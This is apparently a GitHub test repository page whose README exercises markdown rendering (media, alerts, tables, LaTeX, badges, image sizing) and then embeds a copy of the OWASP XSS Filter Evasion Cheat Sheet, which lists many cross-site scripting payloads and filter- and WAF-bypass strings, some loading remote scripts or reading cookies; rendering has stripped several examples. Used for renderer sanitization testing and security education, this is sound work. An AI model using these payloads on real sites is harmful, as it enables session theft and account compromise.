Skip to content

rks/rks-test-readme

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

35 Commits
 
 
 
 
 
 

Repository files navigation

stress-test-README-with some edit round 100

Testing the capability of markdown-it &

test $ in text

video (drag and drop to GitHub README editor)

1072815-hd_1920_1080_30fps.mp4

video (drag and drop to GitHub repo and use the repo URL)

https://github.com/leehsihaumw/test-readme/raw/main/1072815-hd_1920_1080_30fps.mp4

test GIF

giphy

test JPEG (600x600)

square

test svg

monitor-svgrepo-com

test relative path

Yosemite

log files

test-example.log

test PDF

test pdf.pdf

test md

test-md.md

docx, pptx, xlsx, patch, zip are all rendered as links as above so those are not included.

Some basic markdown syntax

Emphasis

This text will be italic This will also be italic

This text will be bold This will also be bold

You can combine them

Emojis

@octocat 👍 This PR looks great - it's ready to merge! :shipit:

Alerts

Note

Useful information that users should know, even when skimming content.

Tip

Helpful advice for doing things better or more easily.

Important

Key information users need to know to achieve their goal.

Warning

Urgent info that needs immediate user attention to avoid problems.

Caution

Advises about risks or negative outcomes of certain actions.

Lists

Unordered

  • Item 1
    • Item 1a

Ordered

  1. Item 1
    1. Item 1a

Code

This is inline code

Code Blocks

function fancyAlert(arg) {
  if(arg) {
    $.facebox({div:'#foo'})
  }
}

Subscript

This is a subscript text

Superscript

This is a superscript text

Links

This site was built using GitHub Pages.

Themed image

Shows an illustrated sun in light mode and a moon with stars in dark mode.

diagrams

(This is likely unsupported as it requires a few 3P tools:) https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-mermaid-diagrams

flow chart

graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
Loading

Tables

Header 1 Header 2
Row 1 Col 1 Row 1 Col 2
Row 2 Col 1 Row 2 Col 2

Blockquotes

Blockquotes are very handy in email to emulate reply text. This line is part of the same quote.

Escaping Characters

*This text is not italic*, and **this text is not bold**.

Task Lists

  • Write the press release
  • Update the website
  • Contact the media

Footnotes

Here's a simple footnote,1 and here's a longer one.2

Strikethrough

This was a mistake.

Collapsed section

Tips for collapsed sections

example header

   puts "Hello World"

LaTeX Examples README

This README file provides a collection of LaTeX examples that can be used in markdown documents to display mathematical expressions, equations, and more. LaTeX is a powerful tool for typesetting complex mathematical formulas and symbols.

Table of Contents

Basic Syntax

LaTeX expressions can be included in markdown files by enclosing them in dollar signs ($). For inline expressions, use a single dollar sign ($expression$), and for display expressions, use double dollar signs ($$expression$$).

Mathematical Expressions

Inline Expressions

Example: The formula for the area of a circle is $A = \pi r^2$.

Display Expressions

$$ E = mc^2 $$

Equations

Aligned Equations

$$ \begin{align} a &= b + c \\\ x &= y - z \end{align} $$

Symbols

Greek Letters

Example: $\alpha, \beta, \gamma, \Delta$

Operators

Summation example: $\sum_{n=1}^{\infty} \frac{1}{n^2} = \frac{\pi^2}{6}$

Matrices

$$ \begin{matrix} a & b \\\ c & d \end{matrix} $$


g3305096 images rendering issue

Type Images
CMU dataset_samples_CMU0

Test for badges

GitHub top language GitHub release (latest by date) GitHub code size in bytes View FSDA on File Exchange Documentation

Hits CircleCI Build Status MATLAB

codecov GitHub contributors Maintenance

Open in MATLAB Online

Testing Links

Test for image resizing g2531455

This repository is used to test g2531455 for readme rewriting for File Exchange submissions.

Adding this line to see if I can update from Git on MATLAB Desktop

Left Justified Centered Right Justified
Gauche Centre Droit
Image Test Image Test Image 40px tall
1234567 123456
Image Test Image Test Image -40px tall
1234567 123456
Image Test Image Test Image invalid height
1234567 123456

Test for updated mailto links g2550628

Test for Chandler Test for Fake

Test for newlines in summary (update the summary with newlines) g2469144

New Test for Height all in Style

With height

With max-height

With height + max-height

With neither

New Test for Height outside of Style

With height

With max-height

With height + max-height

With neither

Test XSS attacks

XSS Filter Evasion Cheat Sheet

Introduction

This article is a guide to Cross Site Scripting (XSS) testing for application security professionals. This cheat sheet was originally based on RSnake's seminal XSS Cheat Sheet previously at: https://ha.ckers.org/xss.html. Now, the OWASP Cheat Sheet Series provides users with an updated and maintained version of the document. The very first OWASP Cheat Sheet, Cross Site Scripting Prevention, was inspired by RSnake's work and we thank RSnake for the inspiration!

Tests

This cheat sheet demonstrates that input filtering is an incomplete defense for XSS by supplying testers with a series of XSS attacks that can bypass certain XSS defensive filters.

Basic XSS Test Without Filter Evasion

This attack, which uses normal XSS JavaScript injection, serves as a baseline for the cheat sheet (the quotes are not required in any modern browser so they are omitted here):

<SCRIPT SRC=https://cdn.jsdelivr.net/gh/Moksh45/host-xss.rocks/index.js></SCRIPT>

XSS Locator (Polyglot)

This test delivers a 'polyglot test XSS payload' that executes in multiple contexts, including HTML, script strings, JavaScript, and URLs:

javascript:/--></title></style></textarea></script></xmp> <svg/onload='+/"`/+/onmouseover=1/+/[/[]/+alert(42);//'>

(Based on this tweet by Gareth Heyes).

Malformed A Tags

This test skips the [href](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a#href) attribute to demonstrate an XSS attack using event handlers:

<a onmouseover="alert(document.cookie)">xxs link</a>

Chrome automatically inserts missing quotes for you. If you encounter issues, try omitting them and Chrome will correctly place the missing quotes in URLs or scripts for you:

<a onmouseover=alert(document.cookie)>xxs link</a>

(Submitted by David Cross, Verified on Chrome)

Malformed IMG Tags

This XSS method uses the relaxed rendering engine to create an XSS vector within an IMG tag (which needs to be encapsulated within quotes). We believe this approach was originally meant to correct sloppy coding and it would also make it significantly more difficult to correctly parse HTML tags:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(Originally found by Begeek, but it was cleaned up and shortened to work in all browsers)

fromCharCode

If the system does not allow quotes of any kind, you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

Default SRC Tag to Get Past Filters that Check SRC Domain

This attack will bypass most SRC domain filters. Inserting JavaScript in an event handler also applies to any HTML tag type injection using elements like Form, Iframe, Input, Embed, etc. This also allows the substitution of any relevant event for the tag type, such as onblur or onclick, providing extensive variations of the injections listed here:

(Submitted by David Cross and edited by Abdullah Hussam)

Default SRC Tag by Leaving it Empty

<IMG SRC= onmouseover="alert('xxs')">

Default SRC Tag by Leaving it out Entirely

On Error Alert

IMG onerror and JavaScript Alert Encode

Decimal HTML Character References

Since XSS examples that use a javascript: directive inside an <IMG tag do not work on Firefox this approach uses decimal HTML character references as a workaround:

Decimal HTML Character References Without Trailing Semicolons

This is often effective in bypassing XSS filters that look for the string &\#XX;, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like $tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/; which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):

Hexadecimal HTML Character References Without Trailing Semicolons

This attack is also viable against the filter for the string $tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:

Embedded Tab

This approach breaks up the XSS attack:

Embedded Encoded Tab

This approach can also break up XSS:

Embedded Newline to Break Up XSS

While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the ASCII table for reference. The next four XSS attack examples illustrate this vector:

Example 1: Break Up XSS Attack with Embedded Carriage Return

(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

Example 2: Break Up JavaScript Directive with Null

Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. The null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out

Example 3: Spaces and Meta Chars Before the JavaScript in Images for XSS

This is useful if a filter's pattern match doesn't take into account spaces in the word javascript:, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the javascript: keyword. The actual reality is you can have any char from 1-32 in decimal:

Example 4: Non-alpha-non-digit XSS

The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \<SCRIPT\\s != \<SCRIPT/XSS\\s:

<SCRIPT/XSS SRC="https://xss.rocks/xss.js"></SCRIPT>

Based on the same idea as above, however, expanded on it, using Rsnake's fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:

Yair Amit noted that there is a slightly different behavior between the Trident (IE) and Gecko (Firefox) rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful in a attack if the system does not allow spaces:

<SCRIPT/SRC="https://xss.rocks/xss.js"></SCRIPT>

Extraneous Open Brackets

This XSS vector could defeat certain detection engines that work by checking matching pairs of open and close angle brackets then comparing the tag inside, instead of a more efficient algorithm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error:

<<SCRIPT>alert("XSS");//<</SCRIPT>

(Submitted by Franz Sedlmaier)

No Closing Script Tags

With Firefox, you don't actually need the \></SCRIPT> portion of this XSS vector, because Firefox assumes it's safe to close the HTML tag and adds closing tags for you. Unlike the next attack, which doesn't affect Firefox, this method does not require any additional HTML below it. You can add quotes if you need to, but they're normally not needed:

<SCRIPT SRC=https://xss.rocks/xss.js?< B > ### Protocol Resolution in Script Tags This particular variant is partially based on Ozh's protocol resolution bypass below, and it works in IE and Edge in compatibility mode. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The `.j` is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag: <SCRIPT SRC=https://xss.rocks/.j> (Submitted by Łukasz Pilorz) ### Half Open HTML/JavaScript XSS Vector Unlike Firefox, the IE rendering engine (Trident) doesn't add extra data to your page, but it does allow the `javascript:` directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this XSS vector. Even though there is no close `\>` tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following network intrusion detection system (NIDS) regex: `/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/` because it doesn't require the end `\>`. As a side note, this was also affective against a real world XSS filter using an open ended `var a="$ENV{QUERY\_STRING}";</SCRIPT>`) and you want to inject your own JavaScript into it but the server side application escapes certain quotes, you can circumvent that by escaping their escape character. When this gets injected it will read `<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>` which ends up un-escaping the double quote and causing the XSS vector to fire. The XSS locator uses this method:

";alert('XSS');//

An alternative, if correct JSON or JavaScript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:

</script><script>alert('XSS');</script>

End Title Tag

This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT Image

BODY Image

IMG Dynsrc

IMG Lowsrc

List-style-image

This esoteric attack focuses on embedding images for bulleted lists. It will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful XSS vector:

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE>
  • XSS

    VBscript in an Image

    SVG Object Tag

    <svg/onload=alert('XSS')>

    ECMAScript 6

    Set.constructor`alert\x28document.domain\x29

    BODY Tag

    This attack doesn't require using any variants of javascript: or <SCRIPT... to accomplish the XSS attack. Dan Crowley has noted that you can put a space before the equals sign (onload= != onload =):

    BGSOUND

    & JavaScript includes


    STYLE sheet

    Remote style sheet

    Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

    Remote style sheet part 2

    This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

    <STYLE>@import'https://xss.rocks/xss.css';</STYLE>

    Remote style sheet part 3

    This only works in Gecko rendering engines and works by binding an XUL file to the parent page.

    <STYLE>BODY{-moz-binding:url("https://xss.rocks/xssmoz.xml#xss")}</STYLE>

    STYLE Tags that Breaks Up JavaScript for XSS

    This XSS at times sends IE into an infinite loop of alerts:

    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

    STYLE Attribute that Breaks Up an Expression

    (Created by Roman Ivanov)

    IMG STYLE with Expressions

    This is really a hybrid of the last two XSS vectors, but it really does show how hard STYLE tags can be to parse apart. This can send IE into a loop:

    exp/*

    STYLE Tag using Background-image

    <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>

    STYLE Tag using Background

    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{background:url("('XSS')")}</STYLE>

    Anonymous HTML with STYLE Attribute

    The IE rendering engine doesn't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:

    Local htc File

    This is a little different than the last two XSS vectors because it uses an .htc file that must be on the same server as the XSS vector. This example file works by pulling in the JavaScript and running it as part of the style attribute:

    US-ASCII Encoding

    This attack uses malformed ASCII encoding with 7 bits instead of 8. This XSS method may bypass many content filters but it only works if the host transmits in US-ASCII encoding or if you set the encoding yourself. This is more useful against web application firewall (WAF) XSS evasion than it is server side filter evasion. Apache Tomcat is the only known server that by default still transmits in US-ASCII encoding.

    ¼script¾alert(¢XSS¢)¼/script¾

    META

    The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

    META using Data

    Directive URL scheme. This attack method is nice because it also doesn't have anything visible that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details.

    META with Additional URL Parameter

    If the target website attempts to see if the URL contains <https://>; at the beginning you can evade this filter rule with the following technique:

    (Submitted by Moritz Naumann)

    IFRAME

    If iFrames are allowed there are a lot of other XSS problems as well:

    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

    IFRAME Event Based

    IFrames and most other elements can use event based mayhem like the following:

    <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

    (Submitted by: David Cross)

    FRAME

    Frames have the same sorts of XSS problems as iFrames

    TABLE

    TD

    Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

    DIV

    DIV Background-image

    DIV Background-image with Unicode XSS Exploit

    This has been modified slightly to obfuscate the URL parameter:

    (Original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail)

    DIV Background-image Plus Extra Characters

    RSnake built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

    DIV Expression

    A variant of this attack was effective against a real-world XSS filter by using a newline between the colon and expression:

    Downlevel-Hidden Block

    Only works on the IE rendering engine - Trident. Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our XSS vector to exist. Or the system might try to add comment tags around something in a vain attempt to render it harmless. As we can see, that probably wouldn't do the job:

    BASE Tag

    (Works on IE in safe mode) This attack needs the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that many websites uses dynamically placed images like images/image.jpg rather than full paths. If the path includes a leading forward slash like /images/image.jpg, you can remove one slash from this vector (as long as there are two to begin the comment this will work):

    OBJECT Tag

    If the system allows objects, you can also inject virus payloads that can infect the users, etc with the APPLET tag. The linked file is actually an HTML file that can contain your XSS:

    EMBED SVG Which Contains XSS Vector

    This attack only works in Firefox:

    (Thanks to nEUrOO for this one)

    XML Data Island with CDATA Obfuscation

    This XSS attack works only in IE:

    Locally hosted XML with embedded JavaScript that is generated using an XML data island

    This attack is nearly the same as above, but instead it refers to a locally hosted (on the same server) XML file that will hold your XSS vector. You can see the result here:

    HTML+TIME in XML

    This attack only works in IE and remember that you need to be between HTML and BODY tags for this to work:

    ">

    (This is how Grey Magic hacked Hotmail and Yahoo!)

    Assuming you can only fit in a few characters and it filters against .js

    This attack allows you to rename your JavaScript file to an image as an XSS vector:

    <SCRIPT SRC="https://xss.rocks/xss.jpg"></SCRIPT>

    SSI (Server Side Includes)

    This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

    PHP

    This attack requires PHP to be installed on the server. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

    alert("XSS")</SCRIPT>'); ?>

    IMG Embedded Commands

    This attack only works when this is injected (like a web-board) in a web page behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc. This is one of the lesser used but more useful XSS vectors:

    IMG Embedded Commands part II

    This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="httx:https://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector:

    Redirect 302 /a.jpg https://victimsite.com/admin.asp&deleteuser

    (Thanks to Timo for part of this)

    Cookie Manipulation

    This method is pretty obscure but there are a few examples where <META is allowed and it can be used to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc):

    XSS Using HTML Quote Encapsulation

    This attack was originally tested in IE so your mileage may vary. For performing XSS on sites that allow <SCRIPT> but don't allow <SCRIPT SRC... by way of a regex filter /\<script\[^\>\]+src/i, do the following:

    <SCRIPT a=">" SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    If you are performing XSS on sites that allow <SCRIPT> but don't allow \<script src... due to a regex filter that does /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i (This is an important one, because this regex has been seen in the wild):

    <SCRIPT =">" SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    Another XSS to evade the same filter: /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:

    <SCRIPT a=">" '' SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    Yet another XSS that evades the same filter: /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i

    Generally, we are not discussing mitigation techniques, but the only thing that stops this XSS example is, if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags), use this:

    <SCRIPT "a='>'" SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    And one last XSS attack to evade, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i using grave accents (again, doesn't work in Firefox):

    <SCRIPT a=`>` SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    Here's an XSS example which works if the regex won't catch a matching pair of quotes but instead will find any quotes to terminate a parameter string improperly:

    <SCRIPT a=">'>" SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

    <SCRIPT>document.write("PT SRC="httx:https://xss.rocks/xss.js"></SCRIPT>

    URL String Evasion

    The following attacks work if https://www.google.com/ is programmatically disallowed:

    IP Versus Hostname

    XSS

    URL Encoding

    XSS

    DWORD Encoding

    Note: there are other of variations of DWORD encoding - see the IP Obfuscation calculator below for more details:

    XSS

    Hex Encoding

    The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quote is not required:

    XSS

    Octal Encoding

    Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc:

    XSS

    Base64 Encoding

    Mixed Encoding

    Let's mix and match base encoding and throw in some tabs and newlines (why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

    XSS

    Protocol Resolution Bypass

    // translates to https://, which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like (ht|f)tp(s)?:https:// (thanks to Ozh for part of this one). You can also change the // to \\\\. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL:

    XSS

    Removing CNAMEs

    When combined with the above URL, removing www. will save an additional 4 bytes for a total byte savings of 9 for servers that have set this up properly:

    XSS

    Extra dot for absolute DNS:

    XSS

    JavaScript Link Location

    XSS

    Content Replace as Attack Vector

    Assuming https://www.google.com/ is programmatically replaced with nothing. A similar attack vector has been used against several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector java&\#x09;script: was converted into java script:, which renders in IE:

    XSS

    Assisting XSS with HTTP Parameter Pollution

    If a content sharing flow on a web site is implemented as shown below, this attack will work. There is a Content page which includes some content provided by users and this page also includes a link to Share page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the title parameter in the Content page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since content_type's value is a constant and will always be integer, they didn't encode or validate the content_type in the Share page.

    Content Page Source Code

    a href="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/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share

    Share Page Source Code

    <script> var contentType = <%=Request.getParameter("content_type")%>; var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>"; //some user agreement and sending to server logic might be here </script>

    Content Page Output

    If attacker set the untrusted content title as This is a regular title&content_type=1;alert(1) the link in Content page would be this:

    Share

    As a result, in this example the main flaw is trusting the content_type in the Share page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.

    Reflected XSS in JavaScript

    Exploitation: /?xss=500); alert(document.cookie);//

    DOM-based XSS

    Exploitation: /?xss=document.cookie

    XSS via request Redirection

    header('Refresh: 0; URL='.$_GET['param']);

    This request will not pass through the WAF:

    /?param=javascript:alert(document.cookie)

    This request will pass through the WAF and an XSS attack will be conducted in certain browsers:

    /?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

    WAF ByPass Strings for XSS

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published